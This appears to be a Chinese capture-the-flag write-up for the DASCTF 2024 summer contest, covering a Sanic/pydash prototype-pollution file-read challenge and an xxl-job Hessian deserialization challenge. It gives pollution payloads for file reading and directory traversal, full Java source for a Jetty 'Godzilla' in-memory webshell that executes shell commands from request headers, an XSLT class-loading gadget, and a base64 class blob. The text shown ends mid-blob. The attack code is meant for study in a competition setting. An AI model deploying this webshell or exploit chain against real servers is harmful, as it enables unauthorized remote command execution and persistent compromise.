DASCTF 2024暑期挑战赛wp
WEB
题目:Sanic's revenge
解题步骤
首先看到给出的附件:
from sanic import Sanic
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2
# 这里的源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
@app.route("/*****secret********")
async def secret(request):
secret='**************************'
return text("can you find my route name ???"+secret)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir = create_log_dir(6)
log_dir_bak = log_dir + ".."
log_file = "/tmp/" + log_dir + "/access.log"
log_file_bak = "/tmp/" + log_dir_bak + "/access.log.bak"
log = 'key: ' + str(key) + '|' + 'value: ' + str(value);
# 生成日志文件
os.system("mkdir /tmp/" + log_dir)
with open(log_file, 'w') as f:
f.write(log)
# 备份日志文件
os.system("mkdir /tmp/" + log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")
if __name__ == '__main__':
app.run(host='0.0.0.0')
分析一下源代码:
/pollute路由提供了一个污染点pydash.set_,通过传参key和value可以实现原型链污染。此外这个路由还设置了一个waf,如果触发了waf,就会将key和value的值写入/tmp目录下的文件中
还存在一个未知名称的路由,我们可以猜测里面放了secret ???
根据提示可以发现,这里的源码并不完整,所以我们需要得到完整的源码
这里的入口点就是原型链污染,我们污染file_or_directory到根目录下,就可以实现任意文件读取
我们接着想办法获取源代码文件名,尝试访问/static/proc/1/cmdline:
接着访问/start.sh:
得到源码名称:2Q17A58T9F65y5i8.py
访问/app/2Q17A58T9F65y5i8.py,得到完整源码:
import os
from sanic.response import text, html
import sys
import random
import pydash
# pydash==5.1.2
#源码好像被admin删掉了一些,听他说里面藏有大秘密
class Pollute:
def __init__(self):
pass
def create_log_dir(n):
ret = ""
for i in range(n):
num = random.randint(0, 9)
letter = chr(random.randint(97, 122))
Letter = chr(random.randint(65, 90))
s = str(random.choice([num, letter, Letter]))
ret += s
return ret
app = Sanic(__name__)
app.static("/static/", "./static/")
@app.route("/Wa58a1qEQ59857qQRPPQ")
async def secret(request):
with open("/h111int",'r') as f:
hint=f.read()
return text(hint)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/adminLook", methods=['GET'])
async def AdminLook(request):
#方便管理员查看非法日志
log_dir=os.popen('ls /tmp -al').read();
return text(log_dir)
@app.route("/pollute", methods=['GET', 'POST'])
async def POLLUTE(request):
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and 'parts' not in key and 'proc' not in str(value) and type(value) is not list:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
log_dir=create_log_dir(6)
log_dir_bak=log_dir+".."
log_file="/tmp/"+log_dir+"/access.log"
log_file_bak="/tmp/"+log_dir_bak+"/access.log.bak"
log='key: '+str(key)+'|'+'value: '+str(value);
#生成日志文件
os.system("mkdir /tmp/"+log_dir)
with open(log_file, 'w') as f:
f.write(log)
#备份日志文件
os.system("mkdir /tmp/"+log_dir_bak)
with open(log_file_bak, 'w') as f:
f.write(log)
return text("!!!此地禁止胡来,你的非法操作已经被记录!!!")
if __name__ == '__main__':
app.run(host='0.0.0.0')
可以看到多出来的路由:Wa58a1qEQ59857qQRPPQ,我们直接访问得到hint:
Find a way to see the file names in the app directory
这里提示我们flag文件在app目录下,只是不知道flag名字
那么很明显我们需要想办法列出app目录下的文件
还看到adminLook路由可以看到/tmp目录下的文件,而我们的非法日志就记录在此目录下,我们先随便触发一次非法记录,接着访问adminLook路由:
可以看到这里存在两个目录,一个备份目录名称为ddahJ6..,那么就可以利用访问这个目录实现穿越到上层目录:
首先切换到tmp目录下,再污染base的值:
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.base","value": "static/ddahJ6"}
同时记得开启列目录功能:
接着访问即可:
可以看到flag名称,接着访问/app/45W698WqtsgQT1_flag即可得到flag
题目:EasyJob
解题步骤
根据附件可以确认是xxl-job-executor未授权访问的漏洞,参考下列链接:
但是会发现咱们的xxl-job版本比较老,属于需要靠Hessian反序列化去触发的版本,并且题目是不出网的。这时候就避免不了打一个内存马。因此这一题的关键点其实是如何去注入一个无Web依赖的Jetty内存马。
在xxljob中内置了一个handler如下
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.xxl.job.core.rpc.netcom.jetty.server;
import com.xxl.job.core.rpc.codec.RpcRequest;
import com.xxl.job.core.rpc.codec.RpcResponse;
import com.xxl.job.core.rpc.netcom.NetComServerFactory;
import com.xxl.job.core.rpc.serialize.HessianSerializer;
import com.xxl.job.core.util.HttpClientUtil;
import java.io.IOException;
import java.io.OutputStream;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.eclipse.jetty.server.Request;
import org.eclipse.jetty.server.handler.AbstractHandler;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class JettyServerHandler extends AbstractHandler {
private static Logger logger = LoggerFactory.getLogger(JettyServerHandler.class);
public JettyServerHandler() {
}
public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
RpcResponse rpcResponse = this.doInvoke(request);
byte[] responseBytes = HessianSerializer.serialize(rpcResponse);
response.setContentType("text/html;charset=utf-8");
response.setStatus(200);
baseRequest.setHandled(true);
OutputStream out = response.getOutputStream();
out.write(responseBytes);
out.flush();
}
private RpcResponse doInvoke(HttpServletRequest request) {
RpcResponse rpcResponse;
try {
byte[] requestBytes = HttpClientUtil.readBytes(request);
if (requestBytes != null && requestBytes.length != 0) {
RpcRequest rpcRequest = (RpcRequest)HessianSerializer.deserialize(requestBytes, RpcRequest.class);
RpcResponse rpcResponse = NetComServerFactory.invokeService(rpcRequest, (Object)null);
return rpcResponse;
} else {
rpcResponse = new RpcResponse();
rpcResponse.setError("RpcRequest byte[] is null");
return rpcResponse;
}
} catch (Exception var5) {
logger.error(var5.getMessage(), var5);
rpcResponse = new RpcResponse();
rpcResponse.setError("Server-error:" + var5.getMessage());
return rpcResponse;
}
}
}
JettyHandler,我们需要做的就是注入一个一模一样的东西。这里具体细节就没啥好说的了,最后内存马如下
import org.eclipse.jetty.server.*;
import org.eclipse.jetty.server.handler.AbstractHandler;
import org.eclipse.jetty.server.handler.HandlerCollection;
import sun.misc.Unsafe;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.ref.Reference;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Scanner;
//author:Boogipop
public class JettyGodzillaMemshell extends AbstractHandler {
String xc = "3c6e0b8a9c15224a"; // key
String pass = "username";
String md5 = md5(pass + xc);
Class payload;
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}
public JettyGodzillaMemshell() {
System.out.println(1);
}
public JettyGodzillaMemshell(int s) {
System.out.println(2);
}
static {
try {
HttpConnection valueField = getValueField();
HandlerCollection handler = (HandlerCollection) valueField.getHttpChannel().getServer().getHandler();
Field mutableWhenRunning = handler.getClass().getDeclaredField("_mutableWhenRunning");
mutableWhenRunning.setAccessible(true);
mutableWhenRunning.set(handler,true);
// handler.addHandler(new JettyHandlerMemshell(1));
Handler[] handlers = handler.getHandlers();
Handler[] newHandlers=new Handler[handlers.length+1];
newHandlers[0]=new JettyGodzillaMemshell(1);
for (int i = 0; i < handlers.length; i++) {
newHandlers[i + 1] = handlers[i];
}
handler.setHandlers(newHandlers);
} catch (NoSuchFieldException e) {
throw new RuntimeException(e);
} catch (ClassNotFoundException e) {
throw new RuntimeException(e);
} catch (IllegalAccessException e) {
throw new RuntimeException(e);
}
}
private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
unsafe.setAccessible(true);
sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null);
return theunsafe;
}
private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException {
Unsafe unsafe = getUnsafe();
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsfiled = threadGroup.getClass().getDeclaredField("threads");
Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled));
for(int i=0;i<threads.length;i++) {
try {
Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals");
Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF));
Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table")));
for(int j=0;j<table.length;j++){
try {
//HttpConnection value = (HttpConnection) unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
//PrintWriter writer = value.getHttpChannel().getResponse().getWriter();
//writer.println(Runtime.getRuntime().exec(value.getHttpChannel().getRequest().getParameter("cmd")));
//writer.flush();
Object value =unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
if(value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")){
return (HttpConnection)value;
}
}
catch (Exception e){
}
}
} catch (Exception e) {
}
}
return null;
}
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
} catch (Exception e2) {
}
}
return value;
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
@Override
public void handle(String s, Request base, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
try {
if (request.getHeader("x-fuck-data").equalsIgnoreCase("cmd")) {
String cmd = request.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
base.setHandled(true);
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next();
ServletOutputStream outputStream = response.getOutputStream();
outputStream.write(result.getBytes());
outputStream.flush();
}
}
else if (request.getHeader("x-fuck-data").equalsIgnoreCase("godzilla")) {
// 哥斯拉是通过 localhost/?pass=payload 传参 不存在包装类问题
byte[] data = base64Decode(request.getParameter(pass));
data = x(data, false);
if (payload == null) {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defMethod.setAccessible(true);
payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
base.setHandled(true);
ServletOutputStream outputStream = response.getOutputStream();
outputStream.write(md5.substring(0, 16).getBytes());
f.toString();
outputStream.write(base64Encode(x(arrOut.toByteArray(), true)).getBytes());
outputStream.write(md5.substring(16).getBytes());
outputStream.flush();
return ;
}
}
} catch (Exception e) {
}
}
}
注入内存马需要用的Gadgets我们选用JDK原生那条链子,如下:
import com.caucho.hessian.io.*;
import com.xxl.rpc.serialize.impl.HessianSerializer;
import sun.swing.SwingLazyValue;
import javax.swing.*;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Hashtable;
public class App {
public static String sendPostRequest(String urlString, byte[] rawData) throws IOException {
URL url = new URL(urlString);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
try {
// 设置请求方法为POST
connection.setRequestMethod("POST");
// 允许输入输出
connection.setDoOutput(true);
// 设置请求头
connection.setRequestProperty("Content-Type", "application/octet-stream"); // 根据需要设置Content-Type
// 写入请求体
try (OutputStream os = connection.getOutputStream()) {
os.write(rawData);
os.flush();
}
// 读取响应
try (InputStream is = connection.getInputStream()) {
StringBuilder response = new StringBuilder();
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = is.read(buffer)) != -1) {
response.append(new String(buffer, 0, bytesRead, "utf-8"));
}
return response.toString();
}
} finally {
connection.disconnect();
}
}
public static void main( String[] args ) throws Exception {
// Method invoke = MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class);
// Method defineClass = Unsafe.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class);
// Field f = Unsafe.class.getDeclaredField("theUnsafe");
// f.setAccessible(true);
// Object unsafe = f.get(null);
// Object[] ags = new Object[]{invoke, new Object(), new Object[]{defineClass, unsafe, new Object[]{"com.xxl.job.core.EvilCustomizerLoader", bcode, 0, bcode.length, null, null}}};
String xsltTemplate = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
"xmlns:b64=\"http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder\"\n" +
"xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\n" +
"xmlns:th=\"http://xml.apache.org/xalan/java/java.lang.Thread\"\n" +
"xmlns:ru=\"http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils\"\n" +
">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"bs\" select=\"b64:decodeBuffer(b64:new(),'<base64_payload>')\"/>\n" +
" <xsl:variable name=\"cl\" select=\"th:getContextClassLoader(th:currentThread())\"/>\n" +
" <xsl:variable name=\"rce\" select=\"ru:defineClass('<class_name>',$bs,$cl)\"/>\n" +
" <xsl:value-of select=\"$rce\"/>\n" +
" </xsl:template>\n" +
" </xsl:stylesheet>";
String base64Code = "yv66vgAAADMCAAgA+QoA+gD7CgA4APwKADgA/QoA+gD+BwD/CgD6AQAKAAYBAQoABgECCgA4AQMHAQQKAIgBBQgBBgkAgAEHCAEICQCAAQkHAQoKABEBBQoAEQELCgARAQwKAIABDQkAgAEOCQEPARAKAREBEggBEwoANQEUCAEVCgA1ARYKARcBGAoBFwEZBwEaCgCAARsKARwBHQoBHAEeCgA3AR8IALQKAB8BIAoAHwEhBwC1CAEiCACuBwCvCACpCgA1ASMIASQKADgBJQcBJggBJwgBKAoANQEpCgEqASsIASwHAS0HAMEHAS4HAS8IATAKADUBMQgBMggBMwgBNAgBNQgBNggBNwoBOAE5BwE6CgBCATsKATgBPAoBOAE9CAE+CwE/AUAIANMKADgBQQoAOAFCCAFDCgEPAUQKADgBRQgBRgoAOAFHCAFICAFJCAFKCgFLAUwHAU0KAU4BTwoBTgFQCgFRAVIKAFQBUwgBVAoAVAFVCgBUAVYLAVcBWAoBWQFaCgFZAVsIAVwLAT8BXQoAgAFeCgCAAV8JAIABYAcBYQcBYgoBHAFjCgBkAWQHAWUIAWYJAWcBaAoANQFpCgEqARgKAWcBagcBawoAbgEFCgA3ASUKADgBbAoANwEMCgBuAW0KAIABbgoAOAFvCgCAAXAKAC8BcQoBcgFzCgF0AXUHAXYIAXcKAXgBeQoBFwF6CgB6AXsHAXwHAX0KAIABfgoAegF/BwGABwGBCgCEAYIHAYMHAYQHAYUBAAJ4YwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANtZDUBAAdwYXlsb2FkAQARTGphdmEvbGFuZy9DbGFzczsBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQcBLwcBBAEABjxpbml0PgEAAygpVgEABHRoaXMBAChMY29tL3h4bC9qb2IvY29yZS9KZXR0eUdvZHppbGxhTWVtc2hlbGw7AQAEKEkpVgEAAUkBAAlnZXRVbnNhZmUBABMoKUxzdW4vbWlzYy9VbnNhZmU7AQAGdW5zYWZlAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACXRoZXVuc2FmZQEAEUxzdW4vbWlzYy9VbnNhZmU7AQAKRXhjZXB0aW9ucwEADWdldFZhbHVlRmllbGQBACsoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbm5lY3Rpb247AQAFdmFsdWUBABJMamF2YS9sYW5nL09iamVjdDsBAAFqAQANdGhyZWFkTG9jYWxzRgEAC3RocmVhZGxvY2FsAQAFdGFibGUBABpbTGphdmEvbGFuZy9yZWYvUmVmZXJlbmNlOwEAAWkBAAt0aHJlYWRHcm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAMdGhyZWFkc2ZpbGVkAQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHARoHAYYHAYcHAS4BAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAHRW5jb2RlcgEABmJhc2U2NAEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAJicwEAAltCAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAAF4AQAHKFtCWilbQgEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAFaBwF9BwGIAQAGaGFuZGxlAQCGKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEADG91dHB1dFN0cmVhbQEAI0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW07AQADY21kAQAOdXJsQ2xhc3NMb2FkZXIBABlMamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXI7AQAJZGVmTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZhcnJPdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQABZgEABGRhdGEBAARiYXNlAQAiTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9SZXF1ZXN0OwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsHAM8HAYkHAYoBAAg8Y2xpbml0PgEACnZhbHVlRmllbGQBAClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25uZWN0aW9uOwEAB2hhbmRsZXIBADRMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL2hhbmRsZXIvSGFuZGxlckNvbGxlY3Rpb247AQASbXV0YWJsZVdoZW5SdW5uaW5nAQAIaGFuZGxlcnMBACNbTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAC25ld0hhbmRsZXJzAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwcBJgcBdgcA7AcBgAcBgwcBhAEAClNvdXJjZUZpbGUBABpKZXR0eUdvZHppbGxhTWVtc2hlbGwuamF2YQEAA01ENQcBiwwBjAGNDAGOAY8MAZABkQwBkgGTAQAUamF2YS9tYXRoL0JpZ0ludGVnZXIMAZQBjwwAmgGVDAGWAZcMAZgBmQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAJoAmwEAEDNjNmUwYjhhOWMxNTIyNGEMAIkAigEACHVzZXJuYW1lDACLAIoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBmgGbDAGWAZkMAIwAjwwAjACKBwGcDAGdAZ4HAZ8MAaAAngEAD3N1bi5taXNjLlVuc2FmZQwBoQGiAQAJdGhlVW5zYWZlDAGjAaQHAYcMAaUBpgwBpwGoAQAPc3VuL21pc2MvVW5zYWZlDACgAKEHAakMAaoBqwwBrAGtDAGuAa8MAbABsQwBsgGzAQAMdGhyZWFkTG9jYWxzDAG0AZkBACdvcmcuZWNsaXBzZS5qZXR0eS5zZXJ2ZXIuSHR0cENvbm5lY3Rpb24MAbUBtgEAJ29yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IdHRwQ29ubmVjdGlvbgEAEGphdmEudXRpbC5CYXNlNjQBAApnZXRFbmNvZGVyDAG3AbgHAbkMAboBuwEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAG8Ab0BAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgEAA0FFUwcBiAwBjAG+AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwwAmgG/DAHAAcEMAcIBwwEAC3gtZnVjay1kYXRhBwHEDAHFAI8MAcYBxwwByAHJAQAHb3MubmFtZQwBygCPDAHLAZkBAAN3aW4MAcwBzQEAAi9jAQAJL2Jpbi9iYXNoAQACLWMHAc4MAc8BpgEAEWphdmEvdXRpbC9TY2FubmVyBwHQDAHRAdIMAdMB1AcB1QwB1gHXDACaAdgBABBcQVNBRFNBREFTRFNBREFTDAHZAdoMAdsBmQcB3AwB3QHeBwHfDAHgAeEMAeIAmwEACGdvZHppbGxhDAHjAI8MAMIAwwwAxQDGDACNAI4BABdqYXZhL25ldC9VUkxDbGFzc0xvYWRlcgEADGphdmEvbmV0L1VSTAwB5AHlDACaAeYBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwcB5wwB6ACODAHpAbgMAeoB6wEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAHsAe0MAe4BjwwAugC7DAHsAZcMAKcAqAwB7wHwBwHxDAHyAfMHAfQMAfUB9gEAMm9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9oYW5kbGVyL0hhbmRsZXJDb2xsZWN0aW9uAQATX211dGFibGVXaGVuUnVubmluZwcB9wwB6gH4DAH5AfoMAfsB/AEAIG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyAQAmY29tL3h4bC9qb2IvY29yZS9KZXR0eUdvZHppbGxhTWVtc2hlbGwMAJoAngwB/QH+AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAJoB/wEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BADBvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXIBABVqYXZhL2xhbmcvVGhyZWFkR3JvdXABABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAE2phdmF4L2NyeXB0by9DaXBoZXIBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEACHRvU3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARb2JqZWN0RmllbGRPZmZzZXQBABwoTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOylKAQAJZ2V0T2JqZWN0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0opTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0TmFtZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAYoW0IpW0IBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAJZ2V0SGVhZGVyAQAQZXF1YWxzSWdub3JlQ2FzZQEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAB2lzRW1wdHkBAAMoKVoBAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBACBvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdAEACnNldEhhbmRsZWQBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRp